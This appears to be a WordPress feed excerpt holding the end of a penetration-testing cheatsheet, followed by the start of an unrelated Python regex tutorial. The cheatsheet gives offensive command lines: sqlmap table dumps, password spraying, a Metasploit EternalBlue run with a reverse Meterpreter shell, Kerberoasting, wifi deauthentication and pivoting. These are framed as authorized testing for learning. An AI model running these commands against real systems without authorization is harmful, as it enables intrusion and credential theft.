<li>Reconnaissance and OSINT</li>



<li>Network Scanning with Nmap</li>



<li>Vulnerability Scanning</li>



<li>Web Application Testing</li>



<li>Password Attacks and Credential Access</li>



<li>Exploitation Frameworks</li>



<li>Post-Exploitation and Privilege Escalation</li>



<li>Active Directory and Windows Testing</li>



<li>Wireless Testing</li>



<li>Pivoting and Tunneling</li>



<li>Reporting and Documentation</li>



<li>Best Practices and Troubleshooting</li>



<li>Common Mistakes</li>



<li>FAQs</li>



<li>Interview Questions</li>



<li>Printable Quick-Reference Summary</li>



<li>Official Documentation Links</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Pentesting Methodology Overview</h2>



<p class="wp-block-paragraph">Every engagement I run follows roughly the same phases, whether it&#8217;s a two-day internal assessment or a month-long red team simulation:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Phase</th><th>Goal</th><th>Typical Tools</th></tr></thead><tbody><tr><td>Scoping &amp; Rules of Engagement</td><td>Define targets, timing, boundaries</td><td>Contracts, scope docs</td></tr><tr><td>Reconnaissance</td><td>Gather public and passive information</td><td>theHarvester, Shodan, whois</td></tr><tr><td>Scanning &amp; Enumeration</td><td>Identify live hosts, ports, services</td><td>Nmap, Masscan</td></tr><tr><td>Vulnerability Assessment</td><td>Map services to known weaknesses</td><td>Nessus, OpenVAS, Nuclei</td></tr><tr><td>Exploitation</td><td>Gain initial access</td><td>Metasploit, manual exploits</td></tr><tr><td>Post-Exploitation</td><td>Escalate privileges, gather data</td><td>Mimikatz, LinPEAS, WinPEAS</td></tr><tr><td>Lateral Movement</td><td>Move across the network</td><td>CrackMapExec, PsExec</td></tr><tr><td>Reporting</td><td>Document findings and remediation</td><td>Custom templates, Dradis</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">I treat this list as a loop, not a straight line — post-exploitation on one host often sends me back to scanning a subnet I hadn&#8217;t touched yet.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Reconnaissance and OSINT</h2>



<p class="wp-block-paragraph">Passive recon is where I spend more time than people expect. The less noise you make before you start actively touching infrastructure, the better your picture of the target looks going in.</p>



<h3 class="wp-block-heading">Domain and DNS Recon</h3>



<pre class="wp-block-code"><code>whois example.com
dig example.com ANY
dig axfr @ns1.example.com example.com
nslookup -type=MX example.com
</code></pre>



<p class="wp-block-paragraph"><strong>Explanation:</strong> <code>whois</code> gives registration info; <code>dig ANY</code> pulls a broad record snapshot (many resolvers now restrict this); the <code>axfr</code> attempt checks for a misconfigured DNS server allowing a full zone transfer — a surprisingly common finding on legacy infrastructure.</p>



<h3 class="wp-block-heading">Subdomain Enumeration</h3>



<pre class="wp-block-code"><code>subfinder -d example.com -silent
amass enum -passive -d example.com
assetfinder --subs-only example.com | httpx -silent
</code></pre>



<p class="wp-block-paragraph"><strong>Expected output:</strong> A list of resolvable or historically indexed subdomains. I usually pipe subfinder and amass results into a single file, sort and dedupe, then feed the result into <code>httpx</code> to check which are actually alive.</p>



<h3 class="wp-block-heading">OSINT Tools I Keep in Rotation</h3>



<ul class="wp-block-list">
<li><code>theHarvester -d example.com -b all</code> — pulls emails, subdomains, and hosts from search engines and public sources.</li>



<li>Shodan (<code>shodan search</code>, or the web UI) — for exposed services, default banners, and IoT devices.</li>



<li><code>Google dorking</code> — <code>site:example.com filetype:pdf</code>, <code>intitle:"index of" example.com</code>.</li>



<li>LinkedIn and job postings — often reveal internal tech stack (a job ad for &#8220;Splunk administrator&#8221; tells you a lot).</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Network Scanning with Nmap</h2>



<p class="wp-block-paragraph">Nmap is still the backbone of almost every engagement I run. Here&#8217;s the reference table I actually use.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Command</th><th>Purpose</th></tr></thead><tbody><tr><td><code>nmap -sn 192.168.1.0/24</code></td><td>Ping sweep — find live hosts without port scanning</td></tr><tr><td><code>nmap -sS -p- target</code></td><td>Full TCP SYN scan across all 65535 ports</td></tr><tr><td><code>nmap -sU --top-ports 100 target</code></td><td>Scan top 100 UDP ports</td></tr><tr><td><code>nmap -sV -sC target</code></td><td>Service/version detection with default scripts</td></tr><tr><td><code>nmap -A target</code></td><td>Aggressive scan (OS detection, version, scripts, traceroute)</td></tr><tr><td><code>nmap -p 80,443,8080 target</code></td><td>Scan specific ports</td></tr><tr><td><code>nmap --script vuln target</code></td><td>Run vulnerability-detection NSE scripts</td></tr><tr><td><code>nmap -T4 -Pn target</code></td><td>Skip host discovery, speed up timing</td></tr><tr><td><code>nmap -oA scan_results target</code></td><td>Output in all formats (normal, XML, grepable)</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">A Real Workflow Example</h3>



<p class="wp-block-paragraph">On a fresh internal engagement, my first few commands typically look like this:</p>



<pre class="wp-block-code"><code>nmap -sn 10.10.10.0/24 -oG live_hosts.txt
grep "Up" live_hosts.txt | cut -d " " -f2 &gt; alive_ips.txt
nmap -sS -sV -sC -p- -iL alive_ips.txt -oA full_scan
</code></pre>



<p class="wp-block-paragraph"><strong>Expected output:</strong> A structured <code>full_scan.nmap</code>/<code>.xml</code>/<code>.gnmap</code> set of files listing open ports, banners, and any script findings (like anonymous FTP or outdated SMB versions) across every live host. I always keep the <code>.gnmap</code> around — it&#8217;s the fastest to <code>grep</code> through later.</p>



<h3 class="wp-block-heading">NSE Script Categories Worth Knowing</h3>



<ul class="wp-block-list">
<li><code>auth</code> — checks for weak or default authentication</li>



<li><code>vuln</code> — checks for known CVEs</li>



<li><code>discovery</code> — extra service enumeration</li>



<li><code>brute</code> — brute-force modules (use cautiously, can lock accounts)</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Vulnerability Scanning</h2>



<p class="wp-block-paragraph">Once I know what&#8217;s alive and what&#8217;s listening, I move to a proper vulnerability scanner rather than relying on Nmap scripts alone.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Tool</th><th>Use Case</th><th>Example Command</th></tr></thead><tbody><tr><td>Nessus</td><td>Broad infrastructure scanning</td><td>GUI-driven, policy-based</td></tr><tr><td>OpenVAS</td><td>Open-source alternative to Nessus</td><td><code>gvm-start</code>, then web UI</td></tr><tr><td>Nuclei</td><td>Fast, template-based scanning for web/infra</td><td><code>nuclei -u https://target.com -t cves/</code></td></tr><tr><td>Nikto</td><td>Web server misconfig and outdated software</td><td><code>nikto -h https://target.com</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Nikto example:</strong></p>



<pre class="wp-block-code"><code>nikto -h https://target.com -o nikto_report.html -Format htm
</code></pre>



<p class="wp-block-paragraph"><strong>Expected output:</strong> A report flagging outdated server headers, missing security headers (like <code>X-Frame-Options</code>), default files, and known vulnerable paths.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Web Application Testing</h2>



<p class="wp-block-paragraph">This is usually where the bulk of an engagement&#8217;s findings live, especially for client-facing applications.</p>



<h3 class="wp-block-heading">Directory and File Enumeration</h3>



<pre class="wp-block-code"><code>gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,301,302
</code></pre>



<h3 class="wp-block-heading">Burp Suite Workflow</h3>



<p class="wp-block-paragraph">I run Burp for nearly every web app test:</p>



<ol class="wp-block-list">
<li>Configure browser proxy to <code>127.0.0.1:8080</code>.</li>



<li>Passively crawl the site while browsing manually.</li>



<li>Send interesting requests to <strong>Repeater</strong> for manual tampering.</li>



<li>Use <strong>Intruder</strong> for parameter fuzzing (be mindful of rate limits on client infra).</li>



<li>Check <strong>Target > Site Map</strong> for hidden endpoints picked up passively.</li>
</ol>



<h3 class="wp-block-heading">SQL Injection Testing</h3>



<pre class="wp-block-code"><code>sqlmap -u "https://target.com/item?id=1" --batch --dbs
sqlmap -u "https://target.com/item?id=1" -D shopdb --tables
sqlmap -u "https://target.com/item?id=1" -D shopdb -T users --dump
</code></pre>



<p class="wp-block-paragraph"><strong>Explanation:</strong> The first command enumerates databases, the second lists tables in a chosen database, and the third dumps table contents. <code>--batch</code> accepts sqlmap&#8217;s default answers so it doesn&#8217;t stop to prompt you.</p>



<h3 class="wp-block-heading">Common Web Vulnerability Checklist</h3>



<ul class="wp-block-list">
<li>SQL Injection (error-based, blind, time-based)</li>



<li>Cross-Site Scripting (reflected, stored, DOM-based)</li>



<li>Broken authentication and session management</li>



<li>Insecure Direct Object References (IDOR)</li>



<li>Server-Side Request Forgery (SSRF)</li>



<li>Security misconfigurations (verbose errors, default credentials)</li>



<li>Outdated components with known CVEs</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Password Attacks and Credential Access</h2>



<p class="wp-block-paragraph">Credential-based findings show up in almost every internal assessment I&#8217;ve run — weak passwords remain the most common way into a network.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Tool</th><th>Purpose</th><th>Example</th></tr></thead><tbody><tr><td>Hydra</td><td>Online brute-force against services</td><td><code>hydra -l admin -P rockyou.txt ssh://target</code></td></tr><tr><td>John the Ripper</td><td>Offline hash cracking</td><td><code>john --wordlist=rockyou.txt hashes.txt</code></td></tr><tr><td>Hashcat</td><td>GPU-accelerated hash cracking</td><td><code>hashcat -m 1000 hashes.txt rockyou.txt</code></td></tr><tr><td>CrackMapExec</td><td>Credential spraying across a network</td><td><code>crackmapexec smb 10.10.10.0/24 -u users.txt -p pass.txt</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Hashcat mode reference (a few common ones):</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Mode</th><th>Hash Type</th></tr></thead><tbody><tr><td>0</td><td>MD5</td></tr><tr><td>1000</td><td>NTLM</td></tr><tr><td>1800</td><td>sha512crypt</td></tr><tr><td>3200</td><td>bcrypt</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Expected output:</strong> Cracked hashes print to console and are saved to a <code>.pot</code> file (hashcat) or <code>john.pot</code> (John), which you can review with <code>john --show hashes.txt</code>.</p>



<h3 class="wp-block-heading">Password Spraying Etiquette</h3>



<p class="wp-block-paragraph">I always confirm lockout policies with the client before spraying — one bad sweep across a domain can lock out hundreds of accounts and turn a quiet Tuesday into a very loud incident call.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Exploitation Frameworks</h2>



<h3 class="wp-block-heading">Metasploit Basics</h3>



<pre class="wp-block-code"><code>msfconsole
search type:exploit platform:windows smb
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.100
run
</code></pre>



<p class="wp-block-paragraph"><strong>Explanation:</strong> This sequence searches for a matching exploit module, configures the remote target and payload, sets your listener IP, and launches the attack. A successful run typically drops you into a Meterpreter session.</p>



<h3 class="wp-block-heading">Useful Meterpreter Commands</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Command</th><th>Purpose</th></tr></thead><tbody><tr><td><code>sysinfo</code></td><td>Show target OS and architecture</td></tr><tr><td><code>getuid</code></td><td>Show current privilege context</td></tr><tr><td><code>hashdump</code></td><td>Dump local SAM hashes (needs SYSTEM)</td></tr><tr><td><code>migrate &lt;PID&gt;</code></td><td>Move session to a more stable process</td></tr><tr><td><code>download</code> / <code>upload</code></td><td>File transfer</td></tr><tr><td><code>shell</code></td><td>Drop to a native command shell</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Post-Exploitation and Privilege Escalation</h2>



<h3 class="wp-block-heading">Linux Privilege Escalation Enumeration</h3>



<pre class="wp-block-code"><code>./linpeas.sh &gt; linpeas_output.txt
sudo -l
find / -perm -4000 -type f 2&gt;/dev/null
cat /etc/crontab
</code></pre>



<p class="wp-block-paragraph"><strong>Explanation:</strong> <code>linpeas.sh</code> automates dozens of checks (kernel version, SUID binaries, writable cron jobs, credentials in config files). <code>sudo -l</code> shows what the current user can run as root, and the <code>find</code> command hunts for SUID binaries that might be abusable.</p>



<h3 class="wp-block-heading">Windows Privilege Escalation</h3>



<pre class="wp-block-code"><code>whoami /priv
systeminfo
winpeas.exe
</code></pre>



<p class="wp-block-paragraph"><strong>Common escalation vectors to check:</strong></p>



<ul class="wp-block-list">
<li>Unquoted service paths</li>



<li>Weak service permissions (modifiable binary path)</li>



<li>AlwaysInstallElevated registry keys</li>



<li>Stored credentials in scripts or scheduled tasks</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Active Directory and Windows Testing</h2>



<p class="wp-block-paragraph">Since so many internal engagements center on AD, this deserves its own section.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Tool</th><th>Purpose</th><th>Example</th></tr></thead><tbody><tr><td>BloodHound</td><td>Map AD attack paths visually</td><td>Collect with SharpHound, analyze in BloodHound GUI</td></tr><tr><td>CrackMapExec</td><td>Enumerate shares, sessions, users</td><td><code>crackmapexec smb target --shares</code></td></tr><tr><td>enum4linux</td><td>SMB/NetBIOS enumeration</td><td><code>enum4linux -a target</code></td></tr><tr><td>Impacket suite</td><td>Remote execution, ticket abuse</td><td><code>psexec.py domain/user:pass@target</code></td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Kerberoasting Example</h3>



<pre class="wp-block-code"><code>GetUserSPNs.py domain/user:password -dc-ip 10.10.10.1 -request
</code></pre>



<p class="wp-block-paragraph"><strong>Expected output:</strong> A list of service accounts with Kerberos TGS tickets, output in a crackable hash format you can feed straight into Hashcat mode <code>13100</code>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Wireless Testing</h2>



<pre class="wp-block-code"><code>airmon-ng start wlan0
airodump-ng wlan0mon
aireplay-ng --deauth 10 -a &lt;BSSID&gt; wlan0mon
aircrack-ng -w rockyou.txt -b &lt;BSSID&gt; capture.cap
</code></pre>



<p class="wp-block-paragraph"><strong>Explanation:</strong> This sequence puts the interface into monitor mode, captures handshakes from nearby access points, forces a deauth to trigger a fresh handshake, and then attempts to crack the captured handshake against a wordlist.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Pivoting and Tunneling</h2>



<p class="wp-block-paragraph">Once you have a foothold, reaching deeper network segments often means routing traffic through your compromised host.</p>



<pre class="wp-block-code"><code>ssh -D 9050 user@pivot-host
proxychains nmap -sT -Pn 10.20.30.0/24
</code></pre>



<pre class="wp-block-code"><code># Metasploit's built-in pivoting
use post/multi/manage/autoroute
set SESSION 1
run
</code></pre>



<p class="wp-block-paragraph"><strong>Explanation:</strong> The SSH dynamic port forward turns the pivot host into a SOCKS proxy; <code>proxychains</code> then routes any tool&#8217;s traffic through that tunnel so you can scan and attack subnets your attack box can&#8217;t directly reach.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Reporting and Documentation</h2>



<p class="wp-block-paragraph">The best finding in the world is useless if the client can&#8217;t act on it. My reports generally include:</p>



<ul class="wp-block-list">
<li>Executive summary (non-technical, risk-focused)</li>



<li>Scope and methodology</li>



<li>Findings ranked by severity (CVSS score where applicable)</li>



<li>Reproduction steps with screenshots</li>



<li>Remediation recommendations</li>



<li>Appendix with raw scan output</li>
</ul>



<p class="wp-block-paragraph">I keep screenshots and command output organized by host from day one — trying to reconstruct &#8220;which command produced this&#8221; a week later is a waste of everyone&#8217;s time.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Best Practices and Troubleshooting</h2>



<ul class="wp-block-list">
<li><strong>Always confirm scope in writing</strong> before touching a single IP.</li>



<li><strong>Rate-limit noisy scans</strong> on production networks — a full <code>-p-</code> Nmap scan can occasionally trip IPS/IDS or even destabilize fragile IoT devices.</li>



<li><strong>Snapshot VMs</strong> before testing exploits that could crash a service.</li>



<li><strong>Use <code>-Pn</code></strong> when hosts don&#8217;t respond to ICMP but are still reachable on TCP.</li>



<li><strong>Keep separate note files per host</strong> — trying to remember which shell is on which box after hour six is a losing game.</li>



<li>If a scan hangs, check firewall state first — <code>-Pn</code> combined with a slower timing template (<code>-T2</code>) often resolves silent drops.</li>



<li>If Metasploit exploits fail silently, double-check <code>RHOSTS</code>/<code>LHOST</code> and confirm the target&#8217;s patch level matches what the module expects.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Common Mistakes</h2>



<ul class="wp-block-list">
<li>Skipping the ping sweep and scanning a huge range with <code>-p-</code> directly, wasting hours.</li>



<li>Running default wordlists without customizing them to the target&#8217;s context (company name, product name, common local patterns).</li>



<li>Forgetting to check for IPv6-only services that don&#8217;t show up in an IPv4-only scan.</li>



<li>Not verifying findings manually before writing them into a report (automated scanners produce false positives constantly).</li>



<li>Failing to clean up shells, scheduled tasks, and added accounts after the engagement — leaving a subtly worse security posture than before you started.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">FAQs</h2>



<p class="wp-block-paragraph"><strong>Is Nmap scanning illegal?</strong> Scanning networks you don&#8217;t own or have written authorization to test is illegal in most countries. Always work within a signed scope agreement.</p>



<p class="wp-block-paragraph"><strong>What&#8217;s the difference between a vulnerability scan and a penetration test?</strong> A vulnerability scan identifies potential weaknesses automatically; a penetration test goes further, attempting to exploit those weaknesses to demonstrate real-world impact.</p>



<p class="wp-block-paragraph"><strong>Do I need to know how to code to be a pentester?</strong> Not strictly, but scripting (Python, Bash, PowerShell) massively speeds up custom enumeration and exploit development.</p>



<p class="wp-block-paragraph"><strong>What certifications are respected in this field?</strong> OSCP, CEH, GPEN, and eJPT are commonly recognized; OSCP in particular is well regarded for its hands-on exam format.</p>



<p class="wp-block-paragraph"><strong>How do I practice legally?</strong> Platforms like Hack The Box, TryHackMe, and VulnHub provide legal, purpose-built environments for practicing these exact techniques.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Interview Questions</h2>



<ol class="wp-block-list">
<li>Walk me through your methodology for a black-box external assessment.</li>



<li>How would you enumerate a Windows domain with only a low-privilege user account?</li>



<li>Explain the difference between a reflected and stored XSS vulnerability.</li>



<li>What&#8217;s your process for privilege escalation on a Linux host with no obvious SUID binaries?</li>



<li>How do you handle a client&#8217;s production environment being unstable during a scan?</li>



<li>Describe how Kerberoasting works and how you&#8217;d defend against it.</li>



<li>What&#8217;s the difference between <code>-sS</code> and <code>-sT</code> scans in Nmap, and when would you choose one over the other?</li>



<li>How would you pivot from a DMZ host into an internal network segment?</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Printable Quick-Reference Summary</h2>



<pre class="wp-block-code"><code>RECON:      whois, dig, subfinder, theHarvester
SCANNING:   nmap -sS -sV -sC -p- target
VULN SCAN:  nuclei, nikto, nessus
WEB:        gobuster, ffuf, sqlmap, burp suite
CREDS:      hydra, hashcat, john, crackmapexec
EXPLOIT:    msfconsole, exploit-db
POST-EXP:   linpeas.sh, winpeas.exe, mimikatz
AD:         bloodhound, enum4linux, impacket
PIVOT:      ssh -D, proxychains, autoroute
REPORT:     findings by severity + repro steps
</code></pre>



<p class="wp-block-paragraph">Keep this list taped next to your monitor — or, more realistically, pinned in whatever note-taking app you actually check mid-engagement.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Official Documentation Links</h2>



<ul class="wp-block-list">
<li>Nmap: https://nmap.org/book/man.html</li>



<li>Metasploit Framework: https://docs.metasploit.com/</li>



<li>Burp Suite: https://portswigger.net/burp/documentation</li>



<li>sqlmap: https://github.com/sqlmapproject/sqlmap/wiki</li>



<li>Hashcat: https://hashcat.net/wiki/</li>



<li>John the Ripper: https://www.openwall.com/john/doc/</li>



<li>BloodHound: https://bloodhound.readthedocs.io/</li>



<li>Impacket: https://github.com/fortra/impacket</li>



<li>OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide/</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">Every one of these commands is a starting point, not a guarantee — real engagements always throw in something the cheatsheet didn&#8217;t cover. That&#8217;s half the reason I keep updating this list instead of trusting a static PDF from three years ago. If you&#8217;re building your own version of this, my honest advice is to actually run each command against a lab environment (Hack The Box, TryHackMe, a home lab VM) until the syntax is muscle memory, not something you have to look up under pressure.</p>



<p class="wp-block-paragraph"></p>
<p>The post <a href="https://awjunaid.com/ethical-hacking/extended-penetration-testing-cheatsheet/">Extended Penetration Testing Cheatsheet: Comprehensive Commands and Techniques</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/ethical-hacking/extended-penetration-testing-cheatsheet/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">9121</post-id>	</item>
		<item>
		<title>Comprehensive Regex Cheatsheet: Master Regular Expressions in Python</title>
		<link>https://awjunaid.com/cheatsheet/comprehensive-regex-cheatsheet-master-regular-expressions-in-python/</link>
					<comments>https://awjunaid.com/cheatsheet/comprehensive-regex-cheatsheet-master-regular-expressions-in-python/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Mon, 02 Oct 2023 16:38:03 +0000</pubDate>
				<category><![CDATA[Cheatsheet]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=6076</guid>

					<description><![CDATA[<p>I still remember the first time a regular expression broke my code at 2 AM. I was trying&#8230;</p>
<p>The post <a href="https://awjunaid.com/cheatsheet/comprehensive-regex-cheatsheet-master-regular-expressions-in-python/">Comprehensive Regex Cheatsheet: Master Regular Expressions in Python</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">I still remember the first time a regular expression broke my code at 2 AM. I was trying to validate an email field, my pattern looked right, and yet every single input failed. It took me an embarrassingly long time to realize I&#8217;d forgotten to escape a dot. That one mistake taught me more about regex than any tutorial ever did, and it&#8217;s part of why I decided to put together this guide the way I have.</p>



<p class="wp-block-paragraph">This isn&#8217;t a dry syntax dump. I&#8217;ve built this cheat sheet the way I wish someone had handed it to me years ago — organized by what I actually reach for when I&#8217;m writing Python, full of examples I&#8217;ve tested myself, and honest about the mistakes I&#8217;ve made along the way. Whether you&#8217;re debugging a validation script, parsing log files, or just trying to remember whether <code>\d</code> or <code>\D</code> matches digits, I want this page to be the one you bookmark and keep coming back to.</p>



<p class="wp-block-paragraph">Let&#8217;s get into it.</p>



<h2 class="wp-block-heading">What Is a Regular Expression, Really?</h2>



<p class="wp-block-paragraph">A regular expression (regex) is a sequence of characters that defines a search pattern. In Python, I use the built-in <code>re</code> module to compile and apply these patterns against strings — for searching, matching, splitting, and replacing text.</p>



<p class="wp-block-paragraph">Here&#8217;s the bare minimum I need to get started:</p>



<pre class="wp-block-code"><code>import re

text = "My phone number is 555-123-4567"
pattern = r"\d{3}-\d{3}-\d{4}"

match = re.search(pattern, text)
if match:
    print(match.group())  # Output: 555-123-4567
</code></pre>



<p class="wp-block-paragraph">I always use raw strings (the <code>r</code> prefix) for patterns. It saves me from fighting Python&#8217;s own escape sequences on top of regex&#8217;s escape sequences — a mistake I made constantly as a beginner.</p>



<h2 class="wp-block-heading">Quick-Reference: Core Regex Syntax</h2>



<p class="wp-block-paragraph">I use this table almost daily. It covers the metacharacters that show up in nearly every pattern I write.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Symbol</th><th>Meaning</th><th>Example</th><th>Matches</th></tr></thead><tbody><tr><td><code>.</code></td><td>Any character except newline</td><td><code>a.c</code></td><td>&#8220;abc&#8221;, &#8220;a1c&#8221;</td></tr><tr><td><code>^</code></td><td>Start of string</td><td><code>^Hello</code></td><td>&#8220;Hello world&#8221;</td></tr><tr><td><code>$</code></td><td>End of string</td><td><code>world$</code></td><td>&#8220;Hello world&#8221;</td></tr><tr><td><code>*</code></td><td>0 or more repetitions</td><td><code>ab*</code></td><td>&#8220;a&#8221;, &#8220;ab&#8221;, &#8220;abbb&#8221;</td></tr><tr><td><code>+</code></td><td>1 or more repetitions</td><td><code>ab+</code></td><td>&#8220;ab&#8221;, &#8220;abbb&#8221;</td></tr><tr><td><code>?</code></td><td>0 or 1 repetition</td><td><code>ab?</code></td><td>&#8220;a&#8221;, &#8220;ab&#8221;</td></tr><tr><td><code>{n}</code></td><td>Exactly n repetitions</td><td><code>a{3}</code></td><td>&#8220;aaa&#8221;</td></tr><tr><td><code>{n,m}</code></td><td>Between n and m repetitions</td><td><code>a{2,4}</code></td><td>&#8220;aa&#8221;, &#8220;aaaa&#8221;</td></tr><tr><td><code>[]</code></td><td>Character class</td><td><code>[aeiou]</code></td><td>any vowel</td></tr><tr><td><code>[^]</code></td><td>Negated character class</td><td><code>[^0-9]</code></td><td>any non-digit</td></tr><tr><td><code>|</code></td><td>Alternation (OR)</td><td><code>cat|dog</code></td><td>&#8220;cat&#8221; or &#8220;dog&#8221;</td></tr><tr><td><code>()</code></td><td>Grouping</td><td><code>(ab)+</code></td><td>&#8220;ab&#8221;, &#8220;abab&#8221;</td></tr><tr><td><code>\</code></td><td>Escape special character</td><td><code>\.</code></td><td>literal &#8220;.&#8221;</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Predefined Character Classes</h2>



<p class="wp-block-paragraph">These shorthand classes save me from writing out long character ranges every time.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Shorthand</th><th>Meaning</th><th>Equivalent</th></tr></thead><tbody><tr><td><code>\d</code></td><td>Digit</td><td><code>[0-9]</code></td></tr><tr><td><code>\D</code></td><td>Non-digit</td><td><code>[^0-9]</code></td></tr><tr><td><code>\w</code></td><td>Word character</td><td><code>[a-zA-Z0-9_]</code></td></tr><tr><td><code>\W</code></td><td>Non-word character</td><td><code>[^a-zA-Z0-9_]</code></td></tr><tr><td><code>\s</code></td><td>Whitespace</td><td><code>[ \t\n\r\f\v]</code></td></tr><tr><td><code>\S</code></td><td>Non-whitespace</td><td><code>[^ \t\n\r\f\v]</code></td></tr><tr><td><code>\b</code></td><td>Word boundary</td><td>position between <code>\w</code> and <code>\W</code></td></tr><tr><td><code>\B</code></td><td>Non-word boundary</td><td>opposite of <code>\b</code></td></tr><tr><td><code>\A</code></td><td>Start of string (multiline-safe)</td><td>—</td></tr><tr><td><code>\Z</code></td><td>End of string (multiline-safe)</td><td>—</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Example:</strong></p>



<pre class="wp-block-code"><code>import re

text = "Order #4521 shipped to zip 90210"
numbers = re.findall(r"\d+", text)
print(numbers)  # Output: &#91;'4521', '90210']
</code></pre>



<h2 class="wp-block-heading">The Python <code>re</code> Module: Functions I Use Constantly</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Function</th><th>Purpose</th><th>Returns</th></tr></thead><tbody><tr><td><code>re.match()</code></td><td>Checks for a match only at the beginning of the string</td><td>Match object or <code>None</code></td></tr><tr><td><code>re.search()</code></td><td>Scans the entire string for the first match</td><td>Match object or <code>None</code></td></tr><tr><td><code>re.findall()</code></td><td>Finds all non-overlapping matches</td><td>List of strings</td></tr><tr><td><code>re.finditer()</code></td><td>Finds all matches as an iterator</td><td>Iterator of Match objects</td></tr><tr><td><code>re.sub()</code></td><td>Replaces matches with a string</td><td>New string</td></tr><tr><td><code>re.subn()</code></td><td>Same as <code>sub()</code> but also returns count</td><td>Tuple (string, count)</td></tr><tr><td><code>re.split()</code></td><td>Splits a string by the pattern</td><td>List of strings</td></tr><tr><td><code>re.compile()</code></td><td>Pre-compiles a pattern for reuse</td><td>Pattern object</td></tr><tr><td><code>re.fullmatch()</code></td><td>Matches the entire string exactly</td><td>Match object or <code>None</code></td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Practical Examples for Each</h3>



<pre class="wp-block-code"><code>import re

# match() - only checks the start
print(re.match(r"Hello", "Hello world"))       # Match found
print(re.match(r"world", "Hello world"))       # None

# search() - checks anywhere
print(re.search(r"world", "Hello world"))      # Match found

# findall() - all occurrences
print(re.findall(r"\d+", "a1 b22 c333"))       # &#91;'1', '22', '333']

# finditer() - with positions
for m in re.finditer(r"\d+", "a1 b22 c333"):
    print(m.start(), m.group())

# sub() - replace
print(re.sub(r"\d+", "#", "a1 b22 c333"))      # 'a# b# c#'

# split() - split on pattern
print(re.split(r"\s*,\s*", "apple, banana,cherry"))  # &#91;'apple', 'banana', 'cherry']

# compile() - reuse pattern
pattern = re.compile(r"\d+")
print(pattern.findall("a1 b22"))               # &#91;'1', '22']

# fullmatch() - entire string must match
print(re.fullmatch(r"\d+", "12345"))           # Match found
print(re.fullmatch(r"\d+", "12345a"))          # None
</code></pre>



<h2 class="wp-block-heading">Groups and Capturing</h2>



<p class="wp-block-paragraph">I use groups constantly when I need to pull structured pieces out of a larger match — think dates, names, or key-value pairs.</p>



